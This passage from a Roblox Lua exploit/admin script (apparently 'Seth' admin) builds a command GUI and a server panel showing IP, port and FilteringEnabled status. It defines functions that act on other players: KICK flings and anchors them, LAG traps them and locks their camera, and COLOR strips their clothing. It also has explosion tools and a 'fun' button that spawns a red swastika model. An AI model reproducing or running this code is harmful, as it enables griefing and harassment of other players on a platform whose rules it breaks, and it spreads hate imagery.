BottomImage = SI, Parent = HOLDERS}
NEW'ScrollingFrame'{Name = 'fun', BackgroundColor3 = C3(0,
0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0,
5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false, CanvasSize =
UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage = SI,
BottomImage = SI, Parent = HOLDERS}
NEW'ScrollingFrame'{Name = 'changelog', BackgroundColor3 =
C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position =
UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false,
CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage
= SI, BottomImage = SI, Parent = HOLDERS}
local Y_CHANGES = 0
for i,v in pairs(CHANGELOG) do
NEW'TextLabel'{Name = '', BackgroundColor3 =
C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0,
Y_CHANGES), Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = v,
TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment =
'Left', Parent = HOLDERS.changelog}
HOLDERS.changelog.CanvasSize =
HOLDERS.changelog.CanvasSize + UDim2.new(0, 0, 0, 30)
Y_CHANGES = Y_CHANGES + 30
end
NEW'Frame'{Name = 'credits', BackgroundColor3 = C3(0, 0,
0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5,
0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false, Parent = HOLDERS}
NEW'TextLabel'{Name = 'text', BackgroundColor3 =
C3(0, 0, 0), BackgroundTransparency = 1, BorderSizePixel = 0, Size = UDim2.new(1,
0, 1, 0), Font = 'SourceSansBold', Text = CREDITS, TextColor3 = C3(0, 0, 0),
TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', TextYAlignment =
'Top', Parent = HOLDERS.credits}
NEW'TextBox'{Name = 'search', BackgroundColor3 = C3(0, 0,
0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0.25,
0, 0, 85), Size = UDim2.new(0.5, 0, 0, 25), Visible = false, Font =
'SourceSansBold', Text = 'search commands', TextColor3 = C3(255, 255, 255),
TextSize = 20, Parent = HOLDERS}

NEW'Frame'{Name = 'line', BackgroundColor3 = C3(0, 0, 0),


BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0,
75), Size = UDim2.new(1, -10, 0, 5), Parent = MAIN_GUI.main.holder}
NEW'TextButton'{Name = 'close', BackgroundColor3 = C3(255, 50, 50),
BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0, 0,
0), Size = UDim2.new(0, 25, 0, 25), Text = '', Parent = MAIN_GUI.main}

CMD_BAR_H = Instance.new('ScreenGui', GUIS)


CMD_BAR_H.Name = 'cmdbar_seth'
NEW'TextBox'{Name = 'bar', BackgroundColor3 = C3(0, 0, 0),
BackgroundTransparency = 0.5, BorderSizePixel = 0, Position = UDim2.new(0, -200, 1,
-50), Size = UDim2.new(0, 225, 0, 25), Font = 'SourceSansItalic', Text = 'press ;
to execute a command', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent =
CMD_BAR_H}
NEW'ScrollingFrame'{Name = 'commands', BackgroundColor3 = C3(50,
50, 50), BackgroundTransparency = 0.5, BorderSizePixel = 0, Position = UDim2.new(0,
0, 1, -25), Size = UDim2.new(1, 0, 0, 0), Visible = false, CanvasSize =
UDim2.new(0, 0, 0, 0), ScrollBarThickness = 6, ScrollingEnabled = true, BottomImage
= SI, MidImage = SI, TopImage = SI, Parent = CMD_BAR_H.bar}
NEW'TextLabel'{Name = 'commands_ex', BackgroundTransparency = 1,
BorderSizePixel = 0, Size = UDim2.new(0, 200, 0, 20), Visible = false, Font =
'SourceSansBold', TextColor3 = C3(255, 255, 255), TextSize = 18, TextXAlignment =
'Left', Parent = CMD_BAR_H.bar}

local NOTIFY_H = Instance.new('ScreenGui', GUIS)


NOTIFY_H.Name = 'notify_seth'
local N = Instance.new('Frame', NOTIFY_H)
N.Name = 'notify'
N.BackgroundColor3 = C3(0, 0, 0)
N.BackgroundTransparency = 0.5
N.BorderSizePixel = 0
N.Position = UDim2.new(0, -225, 0.6, 0)
N.Size = UDim2.new(0, 225, 0, 30)
local BAR = Instance.new('Frame', N)
BAR.Name = ''
BAR.BackgroundColor3 = C3(255, 255, 255)
BAR.BackgroundTransparency = 0.5
BAR.BorderSizePixel = 0
BAR.Position = UDim2.new(0, 0, 1, 0)
BAR.Size = UDim2.new(1, 0, 0, 5)
local TEXT = Instance.new('TextLabel', N)
TEXT.Name = 'text'
TEXT.BackgroundTransparency = 1
TEXT.BorderSizePixel = 0
TEXT.Size = UDim2.new(1, 0, 1, 0)
TEXT.Font = 'SourceSansBold'
TEXT.TextColor3 = C3(255, 255, 255)
TEXT.TextSize = 18
TEXT.TextXAlignment = 'Left'

PAPER_MESH = Instance.new('BlockMesh', OTHER)


PAPER_MESH.Scale = Vector3.new(1, 1, 0.1)

JAIL = Instance.new('Model', OTHER)


JAIL.Name = 'JAIL'
local B = Instance.new('Part', JAIL)
B.Name = 'BUTTOM'
B.BrickColor = BrickColor.new('Black')
B.Transparency = 0.5
B.Anchored = true
B.Locked = true
B.Size = Vector3.new(6, 1, 6)
B.TopSurface = 'Smooth'
B.BottomSurface = 'Smooth'
local M = Instance.new('Part', JAIL)
M.Name = 'MAIN'
M.BrickColor = BrickColor.new('Black')
M.Transparency = 1
M.Anchored = true
M.CanCollide = false
M.Locked = true
M.Position = B.Position + Vector3.new(0, 3, 0)
M.Size = Vector3.new(1, 1, 1)
local P1 = Instance.new('Part', JAIL)
P1.BrickColor = BrickColor.new('Black')
P1.Transparency = 1
P1.Position = B.Position + Vector3.new(0, 3.5, -2.5)
P1.Rotation = Vector3.new(0, 90, 0)
P1.Anchored = true
P1.Locked = true
P1.Size = Vector3.new(1, 6, 6)
local P2 = Instance.new('Part', JAIL)
P2.BrickColor = BrickColor.new('Black')
P2.Transparency = 1
P2.Position = B.Position + Vector3.new(-2.5, 3.5, 0)
P2.Rotation = Vector3.new(-180, 0, -180)
P2.Anchored = true
P2.Locked = true
P2.Size = Vector3.new(1, 6, 4)
local P3 = Instance.new('Part', JAIL)
P3.BrickColor = BrickColor.new('Black')
P3.Transparency = 1
P3.Position = B.Position + Vector3.new(2.5, 3.5, 0)
P3.Rotation = Vector3.new(0, 0, 0)
P3.Anchored = true
P3.Locked = true
P3.Size = Vector3.new(1, 6, 4)
local P4 = Instance.new('Part', JAIL)
P4.BrickColor = BrickColor.new('Black')
P4.Transparency = 1
P4.Position = B.Position + Vector3.new(0, 3.5, 2.5)
P4.Rotation = Vector3.new(0, 90, 0)
P4.Anchored = true
P4.Locked = true
P4.Size = Vector3.new(1, 6, 4)
local TOP = Instance.new('Part', JAIL)
TOP.BrickColor = BrickColor.new('Black')
TOP.Transparency = 0.5
TOP.Position = B.Position + Vector3.new(0, 7, 0)
TOP.Rotation = Vector3.new(0, 0, 0)
TOP.Anchored = true
TOP.Locked = true
TOP.Size = Vector3.new(6, 1, 6)
TOP.TopSurface = 'Smooth'
TOP.BottomSurface = 'Smooth'

ROCKET = Instance.new('Part', OTHER)


ROCKET.Name = 'rocket_seth'
ROCKET.CanCollide = false
ROCKET.Size = Vector3.new(2, 5, 2)
Instance.new('CylinderMesh', ROCKET)
local F = Instance.new('Part', ROCKET)
F.BrickColor = BrickColor.new('Black')
F.CanCollide = false
F.Size = Vector3.new(2, 0.2, 2)
Instance.new('CylinderMesh', F)
local PE = Instance.new('ParticleEmitter', F)
PE.Color = ColorSequence.new(C3(236, 139, 70), C3(236, 139, 70))
PE.Size = NumberSequence.new(0.2)
PE.Texture = 'rbxassetid://17238048'
PE.LockedToPart = true
PE.Lifetime = NumberRange.new(0.2)
PE.Rate = 50
PE.Speed = NumberRange.new(-20)
local TOP = Instance.new('Part', ROCKET)
TOP.CanCollide = false
TOP.Shape = 'Ball'
TOP.Size = Vector3.new(2, 2, 2)
TOP.TopSurface = 'Smooth'
TOP.BottomSurface = 'Smooth'
local BF = Instance.new('BodyForce', ROCKET)
BF.Name = 'force'
BF.Force = Vector3.new(0, 0, 0)
local W1 = Instance.new('Weld', ROCKET)
W1.Part0 = ROCKET
W1.Part1 = F
W1.C1 = CFrame.new(0, 2.6, 0)
local W2 = Instance.new('Weld', ROCKET)
W2.Part0 = ROCKET
W2.Part1 = TOP
W2.C1 = CFrame.new(0, -2.6, 0)

ALIEN_H = Instance.new('Accessory', OTHER)


local H = Instance.new('Part', ALIEN_H)
H.Name = 'Handle'
H.Size = Vector3.new(2, 2.4, 2)
local HA = Instance.new('Attachment', H)
HA.Name = 'HatAttachment'
HA.Position = Vector3.new(0, 0.15, 0)
local SM = Instance.new('SpecialMesh', H)
SM.MeshId = 'rbxassetid://13827689'
SM.MeshType = 'FileMesh'
SM.Scale = Vector3.new(1, 1.02, 1)
SM.TextureId = 'rbxassetid://13827796'

local S = Instance.new('Model', OTHER) S.Name = 'swastika'


NEW'Part'{BrickColor = BrickColor.new('Really red'), Material =
'Plastic', Anchored = true, CanCollide = false, Size = Vector3.new(2, 2, 2),
BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S}
NEW'Part'{BrickColor = BrickColor.new('Really red'), Material =
'Plastic', Position = Vector3.new(0, 3, 0), Anchored = true, CanCollide = false,
Size = Vector3.new(2, 4, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth',
Parent = S}
NEW'Part'{BrickColor = BrickColor.new('Really red'), Material =
'Plastic', Position = Vector3.new(3, 0, 0), Anchored = true, CanCollide = false,
Size = Vector3.new(4, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth',
Parent = S}
NEW'Part'{BrickColor = BrickColor.new('Really red'), Material =
'Plastic', Position = Vector3.new(0, -3, 0), Anchored = true, CanCollide = false,
Size = Vector3.new(2, 4, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth',
Parent = S}
NEW'Part'{BrickColor = BrickColor.new('Really red'), Material =
'Plastic', Position = Vector3.new(-3, 0, 0), Anchored = true, CanCollide = false,
Size = Vector3.new(4, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth',
Parent = S}
NEW'Part'{BrickColor = BrickColor.new('Really red'), Material =
'Plastic', Position = Vector3.new(3, 4, 0), Anchored = true, CanCollide = false,
Size = Vector3.new(4, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth',
Parent = S}
NEW'Part'{BrickColor = BrickColor.new('Really red'), Material =
'Plastic', Position = Vector3.new(4, -3, 0), Anchored = true, CanCollide = false,
Size = Vector3.new(2, 4, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth',
Parent = S}
NEW'Part'{BrickColor = BrickColor.new('Really red'), Material =
'Plastic', Position = Vector3.new(-3, -4, 0), Anchored = true, CanCollide = false,
Size = Vector3.new(4, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth',
Parent = S}
NEW'Part'{BrickColor = BrickColor.new('Really red'), Material =
'Plastic', Position = Vector3.new(-4, 3, 0), Anchored = true, CanCollide = false,
Size = Vector3.new(2, 4, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth',
Parent = S}

CMD_BAR_H.Parent = _CORE
end

local RS = game:GetService('RunService').RenderStepped

function OPEN_MAIN()
SETH_MAIN = MAIN_GUI:Clone()

local BUTTONS = SETH_MAIN.main.holder.buttons


local HOLDERS = SETH_MAIN.main.holder.holders

for i,v in pairs(SETH_MAIN.main.holder.buttons:GetChildren()) do


v.MouseButton1Down:connect(function(X, Y)
OPEN_TAB(v.Name)
if not v:FindFirstChild('circle') then
local C = Instance.new('ImageLabel', v)
C.BackgroundTransparency = 1
C.Position = UDim2.new(0, X - 0, 0, Y - 35) - UDim2.new(0,
v.AbsolutePosition.X, 0, v.AbsolutePosition.Y)
C.Size = UDim2.new(0, 0, 0, 0)
C.ZIndex = v.ZIndex
C.Image = 'rbxassetid://200182847'
C.ImageColor3 = C3(0, 100, 255)
C.Name = 'circle'
C:TweenSizeAndPosition(UDim2.new(0, 500, 0, 500),
C.Position - UDim2.new(0, 250, 0, 250), 'Out', 'Quart', 2.5)
for i = 0, 1, 0.03 do
C.ImageTransparency = i
RS:wait()
end
C:destroy()
end
end)
end

HOLDERS.server.place_id.Text = ' Place ID | ' .. game.PlaceId


game:GetService('RunService').Stepped:connect(function()
if SETH_MAIN:FindFirstChild('main') and
HOLDERS:FindFirstChild('server') then
if not workspace.FilteringEnabled then
HOLDERS.server.fe.Text = ' FilteringEnabled | false'
else
HOLDERS.server.fe.Text = ' FilteringEnabled | true'
end
HOLDERS.server.ip.Text = ' IP Address | ' .. IP
HOLDERS.server.port.Text = ' Port | ' .. PORT
HOLDERS.server.players.Text = ' Players | ' ..
_PLAYERS.NumPlayers .. '/' .. _PLAYERS.MaxPlayers
HOLDERS.server.time.Text = ' Time | ' .. _LIGHTING.TimeOfDay
HOLDERS.server.gravity.Text = ' Gravity | ' .. workspace.Gravity
end
end)

function UPDATE_ADMINS()
HOLDERS.admins:ClearAllChildren()
HOLDERS.admins.CanvasSize = UDim2.new(0, 0, 0, 0)
local Y_ADMINS = 5
for i,v in pairs(ADMINS) do
NEW'TextLabel'{Name = v, BackgroundColor3 = C3(255, 255, 255),
BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_ADMINS), Size =
UDim2.new(1, -30, 0, 25), Font = 'SourceSansBold', TextColor3 = C3(0, 0, 0),
TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent =
HOLDERS.admins}
NEW'TextButton'{Name = 'update', BackgroundColor3 = C3(255, 50,
50), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0,
0, 0), Size = UDim2.new(0, 25, 0, 25), Text = '', Parent = HOLDERS.admins[v]}
HOLDERS.admins[v].update.MouseButton1Down:connect(function()
table.remove(ADMINS, i)
UPDATE_ADMINS()
end)
HOLDERS.admins.CanvasSize = HOLDERS.admins.CanvasSize +
UDim2.new(0, 0, 0, 30)
Y_ADMINS = Y_ADMINS + 30
end
HOLDERS.admins.CanvasSize = HOLDERS.admins.CanvasSize + UDim2.new(0, 0,
0, 5)
spawn(function()
for i,v in pairs(HOLDERS.admins:GetChildren()) do
v.Text = ' ' .. _PLAYERS:GetNameFromUserIdAsync(v.Name)
end
end)
end
UPDATE_ADMINS()

function UPDATE_BANS()
HOLDERS.bans:ClearAllChildren()
HOLDERS.bans.CanvasSize = UDim2.new(0, 0, 0, 0)
local Y_BANS = 5
for i,v in pairs(BANS) do
NEW'TextLabel'{Name = v, BackgroundColor3 = C3(255, 255, 255),
BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_BANS), Size =
UDim2.new(1, -30, 0, 25), Font = 'SourceSansBold', Text = '', TextColor3 = C3(0, 0,
0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent =
HOLDERS.bans}
NEW'TextButton'{Name = 'update', BackgroundColor3 = C3(255, 50,
50), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0,
0, 0), Size = UDim2.new(0, 25, 0, 25), Text = '', Parent = HOLDERS.bans[v]}
HOLDERS.bans[v].update.MouseButton1Down:connect(function()
table.remove(BANS, i)
UPDATE_BANS()
end)
HOLDERS.bans.CanvasSize = HOLDERS.bans.CanvasSize + UDim2.new(0,
0, 0, 30)
Y_BANS = Y_BANS + 30
end
HOLDERS.bans.CanvasSize = HOLDERS.bans.CanvasSize + UDim2.new(0, 0, 0,
5)
spawn(function()
for i,v in pairs(HOLDERS.bans:GetChildren()) do
v.Text = ' ' .. _PLAYERS:GetNameFromUserIdAsync(v.Name)
end
end)
end
UPDATE_BANS()

local function DISPLAY_CMDS()


local Y_COMMANDS = 0
for i,v in pairs(COMMANDS) do
NEW'TextLabel'{Name = '', BackgroundColor3 = C3(255, 255, 255),
BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_COMMANDS), Size =
UDim2.new(1, 0, 0, 25), Font = 'SourceSansBold', Text = ' ' .. v.D, TextColor3 =
C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left',
Parent = HOLDERS.cmds}
HOLDERS.cmds.CanvasSize = HOLDERS.cmds.CanvasSize + UDim2.new(0,
0, 0, 25)
Y_COMMANDS = Y_COMMANDS + 25
end
end
DISPLAY_CMDS()

HOLDERS.search.Changed:connect(function()
if SETH_MAIN:FindFirstChild('main') and
SETH_MAIN.main.holder.holders:FindFirstChild('search') then
if HOLDERS.search.Text ~= 'search commands' and HOLDERS.search.Focused
then
if HOLDERS.search.Text ~= '' then
if not HOLDERS.search.Text:find(' ') then
HOLDERS.cmds:ClearAllChildren()
HOLDERS.cmds.CanvasSize = UDim2.new(0, 0, 0, 0)
local Y_COMMANDS = 0
for i,v in pairs(COMMANDS) do
if v.N:find(HOLDERS.search.Text) then
HOLDERS.cmds.CanvasSize =
HOLDERS.cmds.CanvasSize + UDim2.new(0, 0, 0, 25)
NEW'TextLabel'{Name = '',
BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position =
UDim2.new(0, 0, 0, Y_COMMANDS), Size = UDim2.new(1, 0, 0, 25), Font =
'SourceSansBold', Text = ' ' .. v.D, TextColor3 = C3(0, 0, 0), TextSize = 24,
TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.cmds}
HOLDERS.changelog.CanvasSize =
HOLDERS.changelog.CanvasSize + UDim2.new(0, 0, 0, 25)
Y_COMMANDS = Y_COMMANDS + 25
end
end
end
else
HOLDERS.cmds:ClearAllChildren()
HOLDERS.cmds.CanvasSize = UDim2.new(0, 0, 0, 0)
DISPLAY_CMDS()
end
end
end
end)

local FUN = {'balefire', 'swastika', 'trowel', 'path giver', 'orbital


strike'}
local Y_FUN = 5
for i,v in pairs(FUN) do
NEW'TextLabel'{Name = v, BackgroundColor3 = C3(255, 255, 255),
BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_FUN), Size =
UDim2.new(1, -50, 0, 25), Font = 'SourceSansBold', Text = ' ' .. v, TextColor3 =
C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left',
Parent = HOLDERS.fun}
HOLDERS.fun.CanvasSize = HOLDERS.fun.CanvasSize + UDim2.new(0, 0, 0,
30)
Y_FUN = Y_FUN + 30
end
HOLDERS.fun.CanvasSize = HOLDERS.fun.CanvasSize + UDim2.new(0, 0, 0, 5)
for i,v in pairs(HOLDERS.fun:GetChildren()) do
NEW'TextButton'{Name = 'load', BackgroundColor3 = C3(50, 50, 255),
BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0, 0,
0), Size = UDim2.new(0, 45, 0, 25), ClipsDescendants = true, Font =
'SourceSansBold', Text = 'load', TextColor3 = C3(255, 255, 255), TextSize = 20,
Parent = v}
v.load.MouseButton1Down:connect(function()
if v.Name == 'balefire' then LOAD_BALEFIRE()
elseif v.Name == 'swastika' then local S = OTHER.swastika:Clone()
S.Parent = workspace S:MoveTo(LP.Character.Head.Position + Vector3.new(0, 10, 0))
elseif v.Name == 'trowel' then LOAD_TROWEL()
elseif v.Name == 'path giver' then LOAD_PATH()
elseif v.Name == 'orbital strike' then LOAD_STRIKE()
end
end)
end

SETH_MAIN.main.close.MouseButton1Down:connect(function()
SETH_MAIN:destroy()
end)

SETH_MAIN.Parent = _CORE
end

LOAD_DATA()

--/ TOOLS

function LOAD_BALEFIRE()
local HB = Instance.new('HopperBin', LP.Backpack)
HB.Name = 'balefire'

local function BF(P)


for i = 1, 50 do
local E = Instance.new('Explosion', workspace)
E.BlastRadius = 3
E.BlastPressure = 999999
E.Position = LP.Character.Torso.CFrame.p + ((P -
LP.Character.Torso.CFrame.p).unit * 6 * i) + ((P -
LP.Character.Torso.CFrame.p).unit * 7)
end
end

FIRED = false
local function FIRE(M)
if not FIRED then
FIRED = true
BF(M.Hit.p)
wait(0.25)
FIRED = false
end
end

HB.Selected:connect(function(M)
M.Button1Down:connect(function()
FIRE(M)
end)
end)
end

function LOAD_TROWEL()
local T = Instance.new('Tool', LP.Backpack) T.Name = 'trowel'
NEW'Part'{Name = 'Handle', Size = Vector3.new(1, 4.4, 1), Parent = T}
NEW'SpecialMesh'{MeshId = 'rbxasset://fonts/trowel.mesh', MeshType =
'FileMesh', TextureId = 'rbxasset://textures/TrowelTexture.png', Parent = T.Handle}
NEW'Sound'{Name = 'build', SoundId = 'rbxasset://sounds//bass.wav', Volume =
1, Parent = T.Handle}

local HEIGHT = 5
local SPEED = 0.05
local WIDTH = 15

function BRICK(CF, P, C)
local B = Instance.new('Part')
B.BrickColor = C
B.CFrame = CF * CFrame.new(P + B.Size / 2)
B.Parent = game.Workspace
B:MakeJoints()
B.Material = 'Neon'
return B, P + B.Size
end

function BW(CF)
local BC = BrickColor.Random()
local B = {}
assert(WIDTH > 0)
local Y = 0
while Y < HEIGHT do
local P
local X = -WIDTH / 2
while X < WIDTH / 2 do
local brick
brick, P = BRICK(CF, Vector3.new(X, Y, 0), BC)
X = P.x
table.insert(B, brick)
wait(SPEED)
end
Y = P.y
end
return B
end

function S(A)
if math.abs(A.x) > math.abs(A.z) then
if A.x > 0 then
return Vector3.new(1, 0, 0)
else
return Vector3.new(-1, 0, 0)
end
else
if A.z > 0 then
return Vector3.new(0, 0, 1)
else
return Vector3.new(0, 0, -1)
end
end
end

T.Enabled = true
T.Activated:connect(function()
if T.Enabled and LP.Character:FindFirstChild('Humanoid') then
T.Enabled = false
T.Handle.build:Play()
BW(CFrame.new(LP.Character.Humanoid.TargetPoint,
LP.Character.Humanoid.TargetPoint + S((LP.Character.Humanoid.TargetPoint -
LP.Character.Head.Position).unit)))
T.Enabled = true
end
end)
end

function LOAD_PATH()
local HB = Instance.new('HopperBin', LP.Backpack) HB.Name = 'path giver'

local function PATH(M, C)


if ENABLED and LP.Character then
if not workspace:FindFirstChild('paths_seth') then
Instance.new('Folder', workspace).Name = 'paths_seth' end
local hit = M.Target
local point = M.Hit.p
local P = Instance.new('Part', workspace.paths_seth)
P.BrickColor = C
P.Material = 'Neon'
P.Transparency = 0.75
P.Anchored = true
P.Size = Vector3.new(20, 1, 20)
P.Velocity = M.Hit.lookVector * 75
P.BottomSurface = 'Smooth'
P.TopSurface = 'Smooth'
P.CFrame = CFrame.new(LP.Character.Head.Position)
P.CFrame = CFrame.new(LP.Character.Torso.Position.x,
LP.Character.Torso.Position.y - 4, LP.Character.Torso.Position.z)
P.CFrame = CFrame.new(P.Position, point)
wait()
PATH(M, C)
end
end

local function SELECTED(M)


M.Button1Down:connect(function() ENABLED = true PATH(M,
BrickColor.Random()) end)
M.Button1Up:connect(function() ENABLED = false end)
M.KeyDown:connect(function(K) if K == 'r' then if
workspace:FindFirstChild('paths_seth') then workspace.paths_seth:destroy() end end
end)
end

HB.Selected:connect(SELECTED)
end

function LOAD_STRIKE()
local HB = Instance.new('HopperBin', LP.Backpack) HB.Name = 'orbital strike'

local function SHOOT(T)


if ENABLED then
local P0 = CFrame.new(0, 1500, 0)
P0 = P0 + ((P0 * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0,
0)).lookVector * 0.5) + (P0 * CFrame.fromEulerAnglesXYZ(0, math.pi / 2,
0)).lookVector
local P1 = P0 + ((P0.p - T.Hit.p).unit * -2)
SATELITE.CFrame = CFrame.new((P0.p + P1.p) / 2, P0.p) *
CFrame.fromEulerAnglesXYZ(-math.pi / 2, 0, 0)
local M = Instance.new('Model', workspace)
NEW'Part'{BrickColor = BrickColor.new('Pink'), Material = 'Neon',
CFrame = CFrame.new((SATELITE.CFrame.p + T.Hit.p) / 2, SATELITE.CFrame.p), Anchored
= true, CanCollide = false, Size = Vector3.new(1, 1, 1), Parent = M}
NEW'BlockMesh'{Scale = Vector3.new(1, 1, (SATELITE.CFrame.p -
T.Hit.p).magnitude), Parent = M.Part}
NEW'Explosion'{Position = T.Hit.p, BlastRadius = 20, Parent =
workspace}

for i = 1,10 do M.Part.Transparency = 0.5 + (i * 0.05) wait(0.05)


end
M:destroy()
end
end

HB.Selected:connect(function(M)
if not workspace:FindFirstChild('orbital_seth') then
SATELITE = Instance.new('Part', workspace)
SATELITE.Name = 'orbital_seth'
SATELITE.Position = Vector3.new(0, 1500, 0)
SATELITE.Anchored = true
SATELITE.CanCollide = false
SATELITE.Size = Vector3.new(5, 16.8, 5)
NEW'SpecialMesh'{MeshId = 'rbxassetid://1064328', Scale =
Vector3.new(0.2, 0.2, 0.2), Parent = SATELITE}
end
M.Button1Down:connect(function() ENABLED = true SHOOT(M) end)
M.Button1Up:connect(function() ENABLED = false end)
end)
end

function FIND_IN_TABLE(TABLE, NAME)


for i,v in pairs(TABLE) do
if v == NAME then
return true
end
end
return false
end

function GET_IN_TABLE(TABLE, NAME)


for i = 1, #TABLE do
if TABLE[i] == NAME then
return i
end
end
return false
end

local NOTIFY_1 = false


local NOTIFY_2 = false

function NOTIFY(M, R, G, B)
spawn(function()
repeat wait() until not NOTIFY_1
local NOTIFY_SETH = GUIS.notify_seth:Clone() NOTIFY_SETH.Parent = _CORE
if NOTIFY_SETH then
NOTIFY_SETH.notify[''].BackgroundColor3 = C3(R, G, B)
NOTIFY_SETH.notify.text.Text = ' ' .. M
repeat wait() until not NOTIFY_1
NOTIFY_1 = true
wait(0.5)
NOTIFY_SETH.notify:TweenPosition(UDim2.new(0, 0, 0.6, 0),
'InOut', 'Quad', 0.4, false) wait(0.5)
wait(0.5)
repeat wait() until not NOTIFY_2
NOTIFY_1 = false
NOTIFY_SETH.notify:TweenPosition(UDim2.new(0, 0, 0.6, -40),
'InOut', 'Quad', 0.4, false) wait(0.5)
wait(0.5)
NOTIFY_2 = true
wait(2.5)
NOTIFY_SETH.notify:TweenPosition(UDim2.new(0, -225, 0.6, -40),
'InOut', 'Quad', 0.4, false) wait(0.5)
end
wait(1)
NOTIFY_SETH:destroy()
NOTIFY_2 = false
end)
end

function KICK(P)
spawn(function()
for i = 1,5 do
if P.Character and P.Character:FindFirstChild('HumanoidRootPart')
and P.Character:FindFirstChild('Torso') then
P.Character.HumanoidRootPart.CFrame =
CFrame.new(math.random(999000, 1001000), 1000000, 1000000)
local SP = Instance.new('SkateboardPlatform', P.Character)
SP.Position = P.Character.HumanoidRootPart.Position SP.Transparency = 1
spawn(function()
repeat wait()
if P.Character and
P.Character:FindFirstChild('HumanoidRootPart') then SP.Position =
P.Character.HumanoidRootPart.Position end
until not _PLAYERS:FindFirstChild(P.Name)
end)
P.Character.Torso.Anchored = true
end
end
end)
end

_PLAYERS.PlayerRemoving:connect(function(P)
if FIND_IN_TABLE(KICKS, P) then
for i,v in pairs(KICKS) do if v == P then table.remove(KICKS, i) end
end
NOTIFY('KICKED ' .. P.Name, 255, 255, 255)
end
if FIND_IN_TABLE(JAILED, P.Name) then
for i,v in pairs(JAILED) do if v == P.Name then table.remove(KICKS, i)
end end
end
end)

function FIX_LIGHTING()
_LIGHTING.Ambient = C3(0.5, 0.5, 0.5)
_LIGHTING.Brightness = 1
_LIGHTING.GlobalShadows = true
_LIGHTING.Outlines = false
_LIGHTING.TimeOfDay = 14
_LIGHTING.FogEnd = 100000
end

function COLOR(PLAYER, BCOLOR)


for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Shirt') or
v:IsA('Pants') then v:destroy() elseif v:IsA('ShirtGraphic') then v.Archivable =
false v.Graphic = '' end end
for i,v in pairs(PLAYER.Character.Head:GetChildren()) do if v:IsA('Decal')
then v:destroy() end end
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.BrickColor = BrickColor.new(BCOLOR)
elseif v:IsA('Accessory') then
v.Handle.BrickColor = BrickColor.new(BCOLOR)
for a,b in pairs(v.Handle:GetChildren()) do
if b:IsA('SpecialMesh') then
b.TextureId = ''
end
end
end
end
end

function LAG(PLAYER)
local POS = CFrame.new(math.random(-100000, 100000), math.random(-100000,
100000), math.random(-100000, 100000))
spawn(function()
repeat wait()
if PLAYER and PLAYER.Character then
PLAYER.CameraMode = 'LockFirstPerson'
PLAYER.Character.HumanoidRootPart.CFrame = POS
PLAYER.Character.Torso.Anchored = true
Instance.new('ForceField', PLAYER.Character)
Instance.new('Smoke', PLAYER.Character.Head)
end
until not _PLAYERS:FindFirstChild(PLAYER.Name)
end)
end

local FLYING = false

if LP.Character and LP.Character:FindFirstChild('Humanoid') then


LP.Character.Humanoid.Died:connect(function() FLYING = false end)
end

function sFLY()
repeat wait() until LP and LP.Character and
LP.Character:FindFirstChild('Torso') and LP.Character:FindFirstChild('Humanoid')
repeat wait() until MOUSE

local T = LP.Character.Torso
local CONTROL = {F = 0, B = 0, L = 0, R = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local SPEED = 0
local function FLY()
FLYING = true
local BG = Instance.new('BodyGyro', T)
local BV = Instance.new('BodyVelocity', T)
BG.P = 9e4
BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
BG.cframe = T.CFrame
BV.velocity = Vector3.new(0, 0.1, 0)
BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
spawn(function()
repeat wait()
LP.Character.Humanoid.PlatformStand = true
if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0
then
SPEED = 50
elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F +
CONTROL.B ~= 0) and SPEED ~= 0 then
SPEED = 0
end
